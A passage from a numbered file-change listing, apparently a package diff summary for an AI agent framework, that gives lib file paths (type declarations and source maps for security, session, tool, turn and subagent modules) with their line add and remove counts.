  535. package/lib/resource-hub/role-configs.js.map +1 -1
  536. package/lib/resource-hub/skill-registry.d.ts +0 -1
  537. package/lib/resource-hub/skill-registry.js.map +1 -1
  538. package/lib/resource-hub/subagent-registry.d.ts +0 -1
  539. package/lib/resource-hub/subagent-registry.js.map +1 -1
  540. package/lib/resource-hub/tool-selection.d.ts +0 -1
  541. package/lib/resource-hub/tool-selection.js.map +1 -1
  542. package/lib/resource-hub/types.d.ts +0 -1
  543. package/lib/resource-hub/types.js.map +1 -1
  544. package/lib/routing/runtime-binding.d.ts +0 -1
  545. package/lib/routing/runtime-binding.js.map +1 -1
  546. package/lib/routing/subagent-summarize.d.ts +0 -1
  547. package/lib/routing/subagent-summarize.js.map +1 -1
  548. package/lib/schedule-cron.d.ts +0 -1
  549. package/lib/schedule-cron.js.map +1 -1
  550. package/lib/schedule-domain/audit-logger.d.ts +0 -1
  551. package/lib/schedule-domain/audit-logger.js.map +1 -1
  552. package/lib/schedule-domain/budget-guard.d.ts +0 -1
  553. package/lib/schedule-domain/budget-guard.js.map +1 -1
  554. package/lib/schedule-domain/execution-domain.d.ts +0 -1
  555. package/lib/schedule-domain/execution-domain.js.map +1 -1
  556. package/lib/schedule-domain/index.d.ts +0 -1
  557. package/lib/schedule-domain/index.js.map +1 -1
  558. package/lib/schedule-domain/output-validator.d.ts +0 -1
  559. package/lib/schedule-domain/output-validator.js.map +1 -1
  560. package/lib/schedule-domain/prompt-assembler.d.ts +0 -1
  561. package/lib/schedule-domain/prompt-assembler.js.map +1 -1
  562. package/lib/schedule-domain/schedule-execution-queue.d.ts +0 -1
  563. package/lib/schedule-domain/schedule-execution-queue.js.map +1 -1
  564. package/lib/schedule-domain/security-harness.d.ts +0 -1
  565. package/lib/schedule-domain/security-harness.js.map +1 -1
  566. package/lib/schedule-manager.d.ts +0 -1
  567. package/lib/schedule-manager.js.map +1 -1
  568. package/lib/seam/index.d.ts +0 -1
  569. package/lib/seam/index.js.map +1 -1
  570. package/lib/seam/seam-integration.d.ts +0 -1
  571. package/lib/seam/seam-integration.js.map +1 -1
  572. package/lib/seam/seam-provider.d.ts +0 -1
  573. package/lib/seam/seam-provider.js.map +1 -1
  574. package/lib/seam/skill-service.d.ts +0 -1
  575. package/lib/seam/skill-service.js.map +1 -1
  576. package/lib/seam/tokens.d.ts +0 -1
  577. package/lib/seam/tokens.js.map +1 -1
  578. package/lib/seam/tool-service.d.ts +0 -1
  579. package/lib/seam/tool-service.js.map +1 -1
  580. package/lib/security/anomaly-detection.d.ts +0 -1
  581. package/lib/security/anomaly-detection.js.map +1 -1
  582. package/lib/security/audit-logger.d.ts +0 -1
  583. package/lib/security/audit-logger.js.map +1 -1
  584. package/lib/security/comm-message-context.d.ts +0 -1
  585. package/lib/security/comm-message-context.js.map +1 -1
  586. package/lib/security/dangerous-tool-policy.d.ts +0 -1
  587. package/lib/security/dangerous-tool-policy.js.map +1 -1
  588. package/lib/security/exec-policy.d.ts +0 -1
  589. package/lib/security/exec-policy.js.map +1 -1
  590. package/lib/security/file-policy.d.ts +0 -1
  591. package/lib/security/file-policy.js.map +1 -1
  592. package/lib/security/file-role-policy.d.ts +0 -1
  593. package/lib/security/file-role-policy.js.map +1 -1
  594. package/lib/security/index.d.ts +0 -1
  595. package/lib/security/index.js.map +1 -1
  596. package/lib/security/network-authority.d.ts +0 -1
  597. package/lib/security/network-authority.js.map +1 -1
  598. package/lib/security/network-policy-context.d.ts +0 -1
  599. package/lib/security/network-policy-context.js.map +1 -1
  600. package/lib/security/network-policy.d.ts +0 -1
  601. package/lib/security/network-policy.js.map +1 -1
  602. package/lib/security/outbound-leak-guard.d.ts +0 -1
  603. package/lib/security/outbound-leak-guard.js.map +1 -1
  604. package/lib/security/owner-approval-contracts.d.ts +0 -1
  605. package/lib/security/owner-approval-contracts.js.map +1 -1
  606. package/lib/security/owner-approval-runtime.d.ts +0 -1
  607. package/lib/security/owner-approval-runtime.js.map +1 -1
  608. package/lib/security/owner-approval-store.d.ts +0 -1
  609. package/lib/security/owner-approval-store.js.map +1 -1
  610. package/lib/security/policy-facade.d.ts +0 -1
  611. package/lib/security/policy-facade.js.map +1 -1
  612. package/lib/security/policy-narrowing.d.ts +0 -1
  613. package/lib/security/policy-narrowing.js.map +1 -1
  614. package/lib/security/provenance.d.ts +0 -1
  615. package/lib/security/provenance.js.map +1 -1
  616. package/lib/security/sandbox-docker.d.ts +0 -1
  617. package/lib/security/sandbox-docker.js.map +1 -1
  618. package/lib/security/sandbox.d.ts +0 -1
  619. package/lib/security/sandbox.js.map +1 -1
  620. package/lib/security/trust-level.d.ts +0 -1
  621. package/lib/security/trust-level.js.map +1 -1
  622. package/lib/security/turn-file-authority.d.ts +0 -1
  623. package/lib/security/turn-file-authority.js.map +1 -1
  624. package/lib/security/turn-network-client.d.ts +0 -1
  625. package/lib/security/turn-network-client.js.map +1 -1
  626. package/lib/security/usage-quota.d.ts +3 -7
  627. package/lib/security/usage-quota.js.map +1 -1
  628. package/lib/segment/filter-im-delivery.d.ts +0 -1
  629. package/lib/segment/filter-im-delivery.js.map +1 -1
  630. package/lib/service.d.ts +0 -1
  631. package/lib/service.js.map +1 -1
  632. package/lib/session/approval-port.d.ts +0 -1
  633. package/lib/session/approval-port.js.map +1 -1
  634. package/lib/session/approval-review-agent.d.ts +0 -1
  635. package/lib/session/approval-review-agent.js.map +1 -1
  636. package/lib/session/branch-summarization-runtime.d.ts +0 -1
  637. package/lib/session/branch-summarization-runtime.js.map +1 -1
  638. package/lib/session/contracts.d.ts +0 -1
  639. package/lib/session/contracts.js.map +1 -1
  640. package/lib/session/index.d.ts +0 -1
  641. package/lib/session/index.js.map +1 -1
  642. package/lib/session/session-io.d.ts +0 -1
  643. package/lib/session/session-io.js.map +1 -1
  644. package/lib/session/session-key.d.ts +0 -1
  645. package/lib/session/session-key.js.map +1 -1
  646. package/lib/session/session-system.d.ts +7 -1
  647. package/lib/session/session-system.js +26 -12
  648. package/lib/session/session-system.js.map +1 -1
  649. package/lib/session/session-tree-commands.d.ts +0 -1
  650. package/lib/session/session-tree-commands.js.map +1 -1
  651. package/lib/session/strategies.d.ts +0 -1
  652. package/lib/session/strategies.js.map +1 -1
  653. package/lib/session/turn-ingress-session.d.ts +0 -1
  654. package/lib/session/turn-ingress-session.js.map +1 -1
  655. package/lib/session-tree-runtime.d.ts +0 -1
  656. package/lib/session-tree-runtime.js.map +1 -1
  657. package/lib/skill/capability-catalog.d.ts +0 -1
  658. package/lib/skill/capability-catalog.js.map +1 -1
  659. package/lib/skill/contracts.d.ts +0 -1
  660. package/lib/skill/contracts.js.map +1 -1
  661. package/lib/skill/index.d.ts +0 -1
  662. package/lib/skill/index.js.map +1 -1
  663. package/lib/skill/progressive-disclosure.d.ts +0 -1
  664. package/lib/skill/progressive-disclosure.js.map +1 -1
  665. package/lib/skill/skill-instruction-reader-factory.d.ts +0 -1
  666. package/lib/skill/skill-instruction-reader-factory.js.map +1 -1
  667. package/lib/skill/skill-instruction-reader.d.ts +0 -1
  668. package/lib/skill/skill-instruction-reader.js.map +1 -1
  669. package/lib/skill/skill-instructions.d.ts +0 -1
  670. package/lib/skill/skill-instructions.js.map +1 -1
  671. package/lib/skill/skill-registry-as-service.d.ts +0 -1
  672. package/lib/skill/skill-registry-as-service.js.map +1 -1
  673. package/lib/skill/skill-system.d.ts +0 -1
  674. package/lib/skill/skill-system.js.map +1 -1
  675. package/lib/spawn/permission-task.d.ts +0 -1
  676. package/lib/spawn/permission-task.js.map +1 -1
  677. package/lib/spawn/spawn-task-tool.d.ts +0 -1
  678. package/lib/spawn/spawn-task-tool.js.map +1 -1
  679. package/lib/stability/memory-pressure.d.ts +0 -1
  680. package/lib/stability/memory-pressure.js.map +1 -1
  681. package/lib/standalone/standalone-tool-catalog.d.ts +0 -1
  682. package/lib/standalone/standalone-tool-catalog.js.map +1 -1
  683. package/lib/subagent/contracts.d.ts +0 -1
  684. package/lib/subagent/contracts.js.map +1 -1
  685. package/lib/subagent/im-result-sink.d.ts +0 -1
  686. package/lib/subagent/im-result-sink.js.map +1 -1
  687. package/lib/subagent/index.d.ts +0 -1
  688. package/lib/subagent/index.js.map +1 -1
  689. package/lib/subagent/subagent-runtime.d.ts +0 -1
  690. package/lib/subagent/subagent-runtime.js.map +1 -1
  691. package/lib/subagent/subagent-system-init.d.ts +0 -1
  692. package/lib/subagent/subagent-system-init.js.map +1 -1
  693. package/lib/subagent/subagent-system.d.ts +0 -1
  694. package/lib/subagent/subagent-system.js.map +1 -1
  695. package/lib/subagent-ai-events.d.ts +0 -1
  696. package/lib/subagent-ai-events.js.map +1 -1
  697. package/lib/subagent-artifact.d.ts +0 -1
  698. package/lib/subagent-artifact.js.map +1 -1
  699. package/lib/subagent-goal-notify.d.ts +0 -1
  700. package/lib/subagent-goal-notify.js.map +1 -1
  701. package/lib/subagent-parent-context.d.ts +0 -1
  702. package/lib/subagent-parent-context.js.map +1 -1
  703. package/lib/subagent-preset.d.ts +0 -1
  704. package/lib/subagent-preset.js.map +1 -1
  705. package/lib/subagent-prompt.d.ts +0 -1
  706. package/lib/subagent-prompt.js.map +1 -1
  707. package/lib/task-executor.d.ts +0 -1
  708. package/lib/task-executor.js.map +1 -1
  709. package/lib/tool/builtin-policy-extractors.d.ts +0 -1
  710. package/lib/tool/builtin-policy-extractors.js.map +1 -1
  711. package/lib/tool/context-tools.d.ts +0 -1
  712. package/lib/tool/context-tools.js.map +1 -1
  713. package/lib/tool/contracts.d.ts +0 -1
  714. package/lib/tool/contracts.js.map +1 -1
  715. package/lib/tool/conversation-reference-tool.d.ts +0 -1
  716. package/lib/tool/conversation-reference-tool.js.map +1 -1
  717. package/lib/tool/deferred-resolution.d.ts +0 -1
  718. package/lib/tool/deferred-resolution.js.map +1 -1
  719. package/lib/tool/executable-tool-registry.d.ts +0 -1
  720. package/lib/tool/executable-tool-registry.js.map +1 -1
  721. package/lib/tool/index.d.ts +0 -1
  722. package/lib/tool/index.js.map +1 -1
  723. package/lib/tool/pre-exec.d.ts +0 -1
  724. package/lib/tool/pre-exec.js.map +1 -1
  725. package/lib/tool/prepare-turn-tools.d.ts +0 -1
  726. package/lib/tool/prepare-turn-tools.js.map +1 -1
  727. package/lib/tool/runtime.d.ts +0 -1
  728. package/lib/tool/runtime.js.map +1 -1
  729. package/lib/tool/sources.d.ts +0 -1
  730. package/lib/tool/sources.js.map +1 -1
  731. package/lib/tool/tool-approval-gate.d.ts +0 -1
  732. package/lib/tool/tool-approval-gate.js.map +1 -1
  733. package/lib/tool/tool-approval-once-store.d.ts +0 -1
  734. package/lib/tool/tool-approval-once-store.js.map +1 -1
  735. package/lib/tool/tool-execution-authority.d.ts +0 -1
  736. package/lib/tool/tool-execution-authority.js.map +1 -1
  737. package/lib/tool/tool-model-output.d.ts +0 -1
  738. package/lib/tool/tool-model-output.js.map +1 -1
  739. package/lib/tool/tool-runtime.d.ts +0 -1
  740. package/lib/tool/tool-runtime.js.map +1 -1
  741. package/lib/tool/tool-system.d.ts +0 -1
  742. package/lib/tool/tool-system.js.map +1 -1
  743. package/lib/tool/turn-tool-runtime.d.ts +0 -1
  744. package/lib/tool/turn-tool-runtime.js.map +1 -1
  745. package/lib/tool-bridge.d.ts +0 -1
  746. package/lib/tool-bridge.js.map +1 -1
  747. package/lib/tool-catalog/deferred-turn-controller.d.ts +0 -1
  748. package/lib/tool-catalog/deferred-turn-controller.js.map +1 -1
  749. package/lib/tool-catalog/index.d.ts +0 -1
  750. package/lib/tool-catalog/index.js.map +1 -1
  751. package/lib/tool-catalog/resolve-config.d.ts +0 -1
  752. package/lib/tool-catalog/resolve-config.js.map +1 -1
  753. package/lib/tool-catalog/session-deferred-store.d.ts +0 -1
  754. package/lib/tool-catalog/session-deferred-store.js.map +1 -1
  755. package/lib/tool-catalog/tool-catalog.d.ts +8 -1
  756. package/lib/tool-catalog/tool-catalog.js +15 -0
  757. package/lib/tool-catalog/tool-catalog.js.map +1 -1
  758. package/lib/tool-catalog/types.d.ts +0 -1
  759. package/lib/tool-catalog/types.js.map +1 -1
  760. package/lib/trace/context-budget.d.ts +0 -1
  761. package/lib/trace/context-budget.js.map +1 -1
  762. package/lib/trace/index.d.ts +0 -1
  763. package/lib/trace/index.js.map +1 -1
  764. package/lib/trace/turn-trace-archive.d.ts +0 -1
  765. package/lib/trace/turn-trace-archive.js.map +1 -1
  766. package/lib/trace/turn-trace-format.d.ts +0 -1
  767. package/lib/trace/turn-trace-format.js.map +1 -1
  768. package/lib/trace/turn-trace-registry.d.ts +0 -1
  769. package/lib/trace/turn-trace-registry.js.map +1 -1
  770. package/lib/trace/turn-trace-store.d.ts +0 -1
  771. package/lib/trace/turn-trace-store.js.map +1 -1
  772. package/lib/trace/turn-trace.d.ts +0 -1
  773. package/lib/trace/turn-trace.js.map +1 -1
  774. package/lib/turn/agent-turn-context.d.ts +0 -1
  775. package/lib/turn/agent-turn-context.js.map +1 -1
  776. package/lib/turn/auto-continue.d.ts +0 -1
  777. package/lib/turn/auto-continue.js.map +1 -1
  778. package/lib/turn/cancel-intent.d.ts +0 -1
  779. package/lib/turn/cancel-intent.js.map +1 -1
  780. package/lib/turn/deferred-auto-continue.d.ts +0 -1
  781. package/lib/turn/deferred-auto-continue.js.map +1 -1
  782. package/lib/turn/deferred-delivery.d.ts +0 -1
  783. package/lib/turn/deferred-delivery.js.map +1 -1
  784. package/lib/turn/deferred-turn-state.d.ts +0 -1
  785. package/lib/turn/deferred-turn-state.js.map +1 -1
  786. package/lib/turn/execute-agent-turn.d.ts +0 -1
  787. package/lib/turn/execute-agent-turn.js.map +1 -1
  788. package/lib/turn/inbound-media.d.ts +3 -2
  789. package/lib/turn/inbound-media.js +15 -2
  790. package/lib/turn/inbound-media.js.map +1 -1
  791. package/lib/turn/inbound-queue-config.d.ts +0 -1
  792. package/lib/turn/inbound-queue-config.js.map +1 -1
  793. package/lib/turn/inbound-queue-runtime.d.ts +0 -1
  794. package/lib/turn/inbound-queue-runtime.js.map +1 -1
  795. package/lib/turn/inbound-turn-queue.d.ts +0 -1
  796. package/lib/turn/inbound-turn-queue.js.map +1 -1
  797. package/lib/turn/index.d.ts +0 -1
  798. package/lib/turn/index.js.map +1 -1
  799. package/lib/turn/journal-feed.d.ts +0 -1
  800. package/lib/turn/journal-feed.js.map +1 -1
  801. package/lib/turn/journal-integrity.d.ts +0 -1
  802. package/lib/turn/journal-integrity.js.map +1 -1
  803. package/lib/turn/persist-deferred-context.d.ts +0 -1
  804. package/lib/turn/persist-deferred-context.js.map +1 -1
  805. package/lib/turn/persist-subagent-context.d.ts +0 -1
  806. package/lib/turn/persist-subagent-context.js.map +1 -1
  807. package/lib/turn/process-stream.d.ts +0 -1
  808. package/lib/turn/process-stream.js.map +1 -1
  809. package/lib/turn/prompt-access.d.ts +0 -1
  810. package/lib/turn/prompt-access.js.map +1 -1
  811. package/lib/turn/prompt-api.d.ts +0 -1
  812. package/lib/turn/prompt-api.js.map +1 -1
  813. package/lib/turn/prompt-controller.d.ts +0 -1
  814. package/lib/turn/prompt-controller.js.map +1 -1
  815. package/lib/turn/prompt-input.d.ts +0 -1
  816. package/lib/turn/prompt-input.js.map +1 -1
  817. package/lib/turn/session-message-queue.d.ts +0 -1
  818. package/lib/turn/session-message-queue.js.map +1 -1
  819. package/lib/turn/subagent-auto-continue.d.ts +0 -1
  820. package/lib/turn/subagent-auto-continue.js.map +1 -1
  821. package/lib/turn/task-continuation.d.ts +0 -1
  822. package/lib/turn/task-continuation.js.map +1 -1
  823. package/lib/turn/trigger-cancelled-error.d.ts +0 -1
  824. package/lib/turn/trigger-cancelled-error.js.map +1 -1
  825. package/lib/turn/turn-admission-gate.d.ts +0 -1
  826. package/lib/turn/turn-admission-gate.js.map +1 -1
  827. package/lib/turn/turn-complete.d.ts +0 -1
  828. package/lib/turn/turn-complete.js.map +1 -1
  829. package/lib/turn/turn-context-bridge.d.ts +0 -1
  830. package/lib/turn/turn-context-bridge.js.map +1 -1
  831. package/lib/turn/turn-deferred-delta.d.ts +0 -1
  832. package/lib/turn/turn-deferred-delta.js.map +1 -1
  833. package/lib/turn/turn-event-source.d.ts +0 -1
  834. package/lib/turn/turn-event-source.js.map +1 -1
  835. package/lib/turn/turn-ingress.d.ts +3 -1
  836. package/lib/turn/turn-ingress.js.map +1 -1
  837. package/lib/turn/turn-metrics.d.ts +0 -1
  838. package/lib/turn/turn-metrics.js.map +1 -1
  839. package/lib/turn/turn-pipeline.d.ts +0 -1
  840. package/lib/turn/turn-pipeline.js.map +1 -1
  841. package/lib/turn/turn-terminal.d.ts +0 -1
  842. package/lib/turn/turn-terminal.js.map +1 -1
  843. package/lib/turn/turn-tracker.d.ts +0 -1
  844. package/lib/turn/turn-tracker.js.map +1 -1
  845. package/lib/types/disposable.d.ts +0 -1
  846. package/lib/types/disposable.js.map +1 -1
  847. package/lib/typing-indicator/adapter-integration.d.ts +0 -1
  848. package/lib/typing-indicator/adapter-integration.js.map +1 -1
  849. package/lib/typing-indicator/index.d.ts +0 -1
  850. package/lib/typing-indicator/index.js.map +1 -1
  851. package/lib/user-profile.d.ts +0 -1
  852. package/lib/user-profile.js.map +1 -1
  853. package/lib/utils/config-env.d.ts +0 -1
  854. package/lib/utils/config-env.js.map +1 -1
  855. package/lib/utils/keyed-mutex.d.ts +0 -1
  856. package/lib/utils/keyed-mutex.js.map +1 -1
  857. package/lib/web/bing-search-html.d.ts +0 -1
  858. package/lib/web/bing-search-html.js.map +1 -1
  859. package/lib/web/web-search-locale.d.ts +0 -1
  860. package/lib/web/web-search-locale.js.map +1 -1
  861. package/lib/web/web-tool-utils.d.ts +0 -1
  862. package/lib/web/web-tool-utils.js.map +1 -1
  863. package/lib/zhin-agent/index.d.ts +0 -1
  864. package/lib/zhin-agent/index.js.map +1 -1
  865. package/lib/zhin-agent/runtime-modules.d.ts +0 -1
  866. package/lib/zhin-agent/runtime-modules.js.map +1 -1
  867. package/package.json +12 -12
  868. package/lib/activity-feedback/adapter-integration.d.ts.map +0 -1
  869. package/lib/activity-feedback/config-resolver.d.ts.map +0 -1
  870. package/lib/activity-feedback/event-context.d.ts.map +0 -1
  871. package/lib/activity-feedback/index.d.ts.map +0 -1
  872. package/lib/activity-feedback/manager.d.ts.map +0 -1
  873. package/lib/activity-feedback/schedule-guard.d.ts.map +0 -1
  874. package/lib/activity-feedback/subagent-prefix.d.ts.map +0 -1
  875. package/lib/activity-feedback/turn-event-projector.d.ts.map +0 -1
  876. package/lib/activity-feedback/types.d.ts.map +0 -1
  877. package/lib/ai-event-bus.d.ts.map +0 -1
  878. package/lib/ai-event-contract.d.ts.map +0 -1
  879. package/lib/ai-event-subscriber.d.ts.map +0 -1
  880. package/lib/ai-hook-runtime-bus.d.ts.map +0 -1
  881. package/lib/assistant/bootstrap-assistant-home.d.ts.map +0 -1
  882. package/lib/assistant/config.d.ts.map +0 -1
  883. package/lib/assistant/deliver-schedule-to-adapter.d.ts.map +0 -1
  884. package/lib/assistant/domains/ha-home-backend.d.ts.map +0 -1
  885. package/lib/assistant/domains/ha-ws-transport.d.ts.map +0 -1
  886. package/lib/assistant/domains/home-entity.d.ts.map +0 -1
  887. package/lib/assistant/domains/home-state-watch.d.ts.map +0 -1
  888. package/lib/assistant/event-ingress.d.ts.map +0 -1
  889. package/lib/assistant/event-types.d.ts.map +0 -1
  890. package/lib/assistant/home-config.d.ts.map +0 -1
  891. package/lib/assistant/home-facade.d.ts.map +0 -1
  892. package/lib/assistant/home-mcp-bridge.d.ts.map +0 -1
  893. package/lib/assistant/home-policy.d.ts.map +0 -1
  894. package/lib/assistant/home-tools.d.ts.map +0 -1
  895. package/lib/assistant/index.d.ts.map +0 -1
  896. package/lib/assistant/job-creator.d.ts.map +0 -1
  897. package/lib/assistant/job-engine.d.ts.map +0 -1
  898. package/lib/assistant/job-scheduler.d.ts.map +0 -1
  899. package/lib/assistant/job-store.d.ts.map +0 -1
  900. package/lib/assistant/job-utils.d.ts.map +0 -1
  901. package/lib/assistant/job-worker.d.ts.map +0 -1
  902. package/lib/assistant/notification-router.d.ts.map +0 -1
  903. package/lib/assistant/profile-loader.d.ts.map +0 -1
  904. package/lib/assistant/profile-types.d.ts.map +0 -1
  905. package/lib/assistant/runtime-contract.d.ts.map +0 -1
  906. package/lib/assistant/schedule-execution.d.ts.map +0 -1
  907. package/lib/assistant/schedule-job-service.d.ts.map +0 -1
  908. package/lib/assistant/schedule-skills.d.ts.map +0 -1
  909. package/lib/assistant/types.d.ts.map +0 -1
  910. package/lib/authoring/bridge.d.ts.map +0 -1
  911. package/lib/authoring/define-eval.d.ts.map +0 -1
  912. package/lib/authoring/define-hook.d.ts.map +0 -1
  913. package/lib/authoring/define-skill.d.ts.map +0 -1
  914. package/lib/authoring/disable-tool.d.ts.map +0 -1
  915. package/lib/authoring/entries/evals.d.ts.map +0 -1
  916. package/lib/authoring/entries/hooks.d.ts.map +0 -1
  917. package/lib/authoring/entries/skills.d.ts.map +0 -1
  918. package/lib/authoring/index.d.ts.map +0 -1
  919. package/lib/authoring/types.d.ts.map +0 -1
  920. package/lib/bootstrap.d.ts.map +0 -1
  921. package/lib/builtins/builtin-tool-service.d.ts.map +0 -1
  922. package/lib/common-adapter-tools.d.ts.map +0 -1
  923. package/lib/config/agent-binding-registry.d.ts.map +0 -1
  924. package/lib/config/agent-bindings.d.ts.map +0 -1
  925. package/lib/config/agent-interfaces.d.ts.map +0 -1
  926. package/lib/config/deprecated-agent-binding-keys.d.ts.map +0 -1
  927. package/lib/config/deprecated-agent-keys.d.ts.map +0 -1
  928. package/lib/config/fix-ai-config.d.ts.map +0 -1
  929. package/lib/config/index.d.ts.map +0 -1
  930. package/lib/config/keyword-triggers.d.ts.map +0 -1
  931. package/lib/config/model-harness-runtime.d.ts.map +0 -1
  932. package/lib/config/model-harness.d.ts.map +0 -1
  933. package/lib/config/normalize-ai-config.d.ts.map +0 -1
  934. package/lib/config/perception-config.d.ts.map +0 -1
  935. package/lib/config/provider-instance.d.ts.map +0 -1
  936. package/lib/config/resolve-five-agent-binding.d.ts.map +0 -1
  937. package/lib/config/types.d.ts.map +0 -1
  938. package/lib/config/validate-ai-config.d.ts.map +0 -1
  939. package/lib/config/zhin-agent-config.d.ts.map +0 -1
  940. package/lib/config/zhin-agent-constants.d.ts.map +0 -1
  941. package/lib/config/zhin-agent-defaults.d.ts.map +0 -1
  942. package/lib/config/zhin-agent-dependencies.d.ts.map +0 -1
  943. package/lib/config/zhin-agent-runtime.d.ts.map +0 -1
  944. package/lib/context/agents-instruction.d.ts.map +0 -1
  945. package/lib/context/context-system.d.ts.map +0 -1
  946. package/lib/context/context-tail-limit.d.ts.map +0 -1
  947. package/lib/context/contracts.d.ts.map +0 -1
  948. package/lib/context/default-builders.d.ts.map +0 -1
  949. package/lib/context/envelope-parts.d.ts.map +0 -1
  950. package/lib/context/im-turn-context-adapter.d.ts.map +0 -1
  951. package/lib/context/index.d.ts.map +0 -1
  952. package/lib/context/model-resolver.d.ts.map +0 -1
  953. package/lib/context/turn-envelope.d.ts.map +0 -1
  954. package/lib/context/turn-user-message.d.ts.map +0 -1
  955. package/lib/core/agent-core-run.d.ts.map +0 -1
  956. package/lib/core/agent-core.d.ts.map +0 -1
  957. package/lib/core/agent-loop-standalone.d.ts.map +0 -1
  958. package/lib/core/agent-loop-turn.d.ts.map +0 -1
  959. package/lib/core/agent-run-shared.d.ts.map +0 -1
  960. package/lib/core/compose-deps.d.ts.map +0 -1
  961. package/lib/core/contracts.d.ts.map +0 -1
  962. package/lib/core/exhausted-turn-reply.d.ts.map +0 -1
  963. package/lib/core/exploration-budget.d.ts.map +0 -1
  964. package/lib/core/index.d.ts.map +0 -1
  965. package/lib/core/missing-tool-resolver.d.ts.map +0 -1
  966. package/lib/core/progress-reporter.d.ts.map +0 -1
  967. package/lib/core/spawn-delegation.d.ts.map +0 -1
  968. package/lib/core/structured-reply-recovery.d.ts.map +0 -1
  969. package/lib/core/text-sanitize.d.ts.map +0 -1
  970. package/lib/core/tool-calls-user-format.d.ts.map +0 -1
  971. package/lib/core/tool-execution-authority.d.ts.map +0 -1
  972. package/lib/core/turn-completion-usage.d.ts.map +0 -1
  973. package/lib/core/turn-event-mapper.d.ts.map +0 -1
  974. package/lib/core/turn-progress.d.ts.map +0 -1
  975. package/lib/create-agent-session.d.ts.map +0 -1
  976. package/lib/decision/approval-judgment.d.ts.map +0 -1
  977. package/lib/decision/approval.d.ts.map +0 -1
  978. package/lib/decision/config.d.ts.map +0 -1
  979. package/lib/decision/index.d.ts.map +0 -1
  980. package/lib/decision/rank.d.ts.map +0 -1
  981. package/lib/decision/retrieval.d.ts.map +0 -1
  982. package/lib/decision/types.d.ts.map +0 -1
  983. package/lib/deferred-worker-runner.d.ts.map +0 -1
  984. package/lib/deferred-worker-tool-load.d.ts.map +0 -1
  985. package/lib/detached-task/index.d.ts.map +0 -1
  986. package/lib/detached-task/interjection.d.ts.map +0 -1
  987. package/lib/detached-task/runner.d.ts.map +0 -1
  988. package/lib/detached-task/store.d.ts.map +0 -1
  989. package/lib/detached-task/token.d.ts.map +0 -1
  990. package/lib/detached-task/types.d.ts.map +0 -1
  991. package/lib/discovery/agent-surface-info.d.ts.map +0 -1
  992. package/lib/discovery/agent-surface.d.ts.map +0 -1
  993. package/lib/discovery/agents.d.ts.map +0 -1
  994. package/lib/discovery/utils.d.ts.map +0 -1
  995. package/lib/event/agent-stream-bus.d.ts.map +0 -1
  996. package/lib/event/agent-stream-hooks.d.ts.map +0 -1
  997. package/lib/event/ai-event-bus.d.ts.map +0 -1
  998. package/lib/event/contracts.d.ts.map +0 -1
  999. package/lib/event/event-emitter.d.ts.map +0 -1
  1000. package/lib/event/event-system.d.ts.map +0 -1
  1001. package/lib/event/filtering-middleware.d.ts.map +0 -1
  1002. package/lib/event/hook-stream-sink.d.ts.map +0 -1
  1003. package/lib/event/index.d.ts.map +0 -1
  1004. package/lib/event/logging-middleware.d.ts.map +0 -1
  1005. package/lib/event/publish-agent-stream.d.ts.map +0 -1
  1006. package/lib/event/session-events.d.ts.map +0 -1
  1007. package/lib/event/turn-event.d.ts.map +0 -1
  1008. package/lib/event/turn-to-agent-stream.d.ts.map +0 -1
  1009. package/lib/index.d.ts.map +0 -1
  1010. package/lib/init/activate-ai-database-storage.d.ts.map +0 -1
  1011. package/lib/init/compose-zhin-agent-runtime.d.ts.map +0 -1
  1012. package/lib/init/configure-zhin-agent.d.ts.map +0 -1
  1013. package/lib/init/define-ai-database-models.d.ts.map +0 -1
  1014. package/lib/init/dispose-zhin-agent.d.ts.map +0 -1
  1015. package/lib/init/introspection-output.d.ts.map +0 -1
  1016. package/lib/init/runtime-management-commands.d.ts.map +0 -1
  1017. package/lib/interaction/index.d.ts.map +0 -1
  1018. package/lib/interaction/interaction-router.d.ts.map +0 -1
  1019. package/lib/internal/agent-host.d.ts.map +0 -1
  1020. package/lib/internal/ai-service-refs.d.ts.map +0 -1
  1021. package/lib/internal/as-private.d.ts.map +0 -1
  1022. package/lib/internal/host-types.d.ts.map +0 -1
  1023. package/lib/internal/phase-trace.d.ts.map +0 -1
  1024. package/lib/internal/prompt-trace.d.ts.map +0 -1
  1025. package/lib/internal/turn-context.d.ts.map +0 -1
  1026. package/lib/journal/file-journal-store.d.ts.map +0 -1
  1027. package/lib/journal/index.d.ts.map +0 -1
  1028. package/lib/journal/persistent-turn-journal.d.ts.map +0 -1
  1029. package/lib/mcp-client/bridge.d.ts.map +0 -1
  1030. package/lib/mcp-client/connection.d.ts.map +0 -1
  1031. package/lib/mcp-client/index.d.ts.map +0 -1
  1032. package/lib/media/deliver-subagent-result.d.ts.map +0 -1
  1033. package/lib/media/inbound-refs.d.ts.map +0 -1
  1034. package/lib/media/index.d.ts.map +0 -1
  1035. package/lib/media/media-capabilities.d.ts.map +0 -1
  1036. package/lib/media/media-normalize.d.ts.map +0 -1
  1037. package/lib/media/media-publisher.d.ts.map +0 -1
  1038. package/lib/media/media-router.d.ts.map +0 -1
  1039. package/lib/media/media-spool.d.ts.map +0 -1
  1040. package/lib/media/media-tool-bridge.d.ts.map +0 -1
  1041. package/lib/media/media-types.d.ts.map +0 -1
  1042. package/lib/media/perception.d.ts.map +0 -1
  1043. package/lib/media/resolve-config.d.ts.map +0 -1
  1044. package/lib/media/subagent-inbound.d.ts.map +0 -1
  1045. package/lib/media/subagent-user-delivery.d.ts.map +0 -1
  1046. package/lib/media/vision-capability.d.ts.map +0 -1
  1047. package/lib/memory/ai-compaction-strategy.d.ts.map +0 -1
  1048. package/lib/memory/compaction-runtime.d.ts.map +0 -1
  1049. package/lib/memory/context-repository-store.d.ts.map +0 -1
  1050. package/lib/memory/contracts.d.ts.map +0 -1
  1051. package/lib/memory/index.d.ts.map +0 -1
  1052. package/lib/memory/memory-system.d.ts.map +0 -1
  1053. package/lib/memory/memory-write-policy.d.ts.map +0 -1
  1054. package/lib/memory/semantic-recall.d.ts.map +0 -1
  1055. package/lib/memory/told-ledger.d.ts.map +0 -1
  1056. package/lib/memory-layers.d.ts.map +0 -1
  1057. package/lib/orchestration/five-agent/index.d.ts.map +0 -1
  1058. package/lib/orchestration/five-agent/prompts.d.ts.map +0 -1
  1059. package/lib/orchestration/five-agent/role-capability-policy.d.ts.map +0 -1
  1060. package/lib/orchestration/five-agent/roles.d.ts.map +0 -1
  1061. package/lib/outbound/agent-output.d.ts.map +0 -1
  1062. package/lib/outbound/send-proactive.d.ts.map +0 -1
  1063. package/lib/outbound/structured-reply.d.ts.map +0 -1
  1064. package/lib/plugin-ai-hook-bus.d.ts.map +0 -1
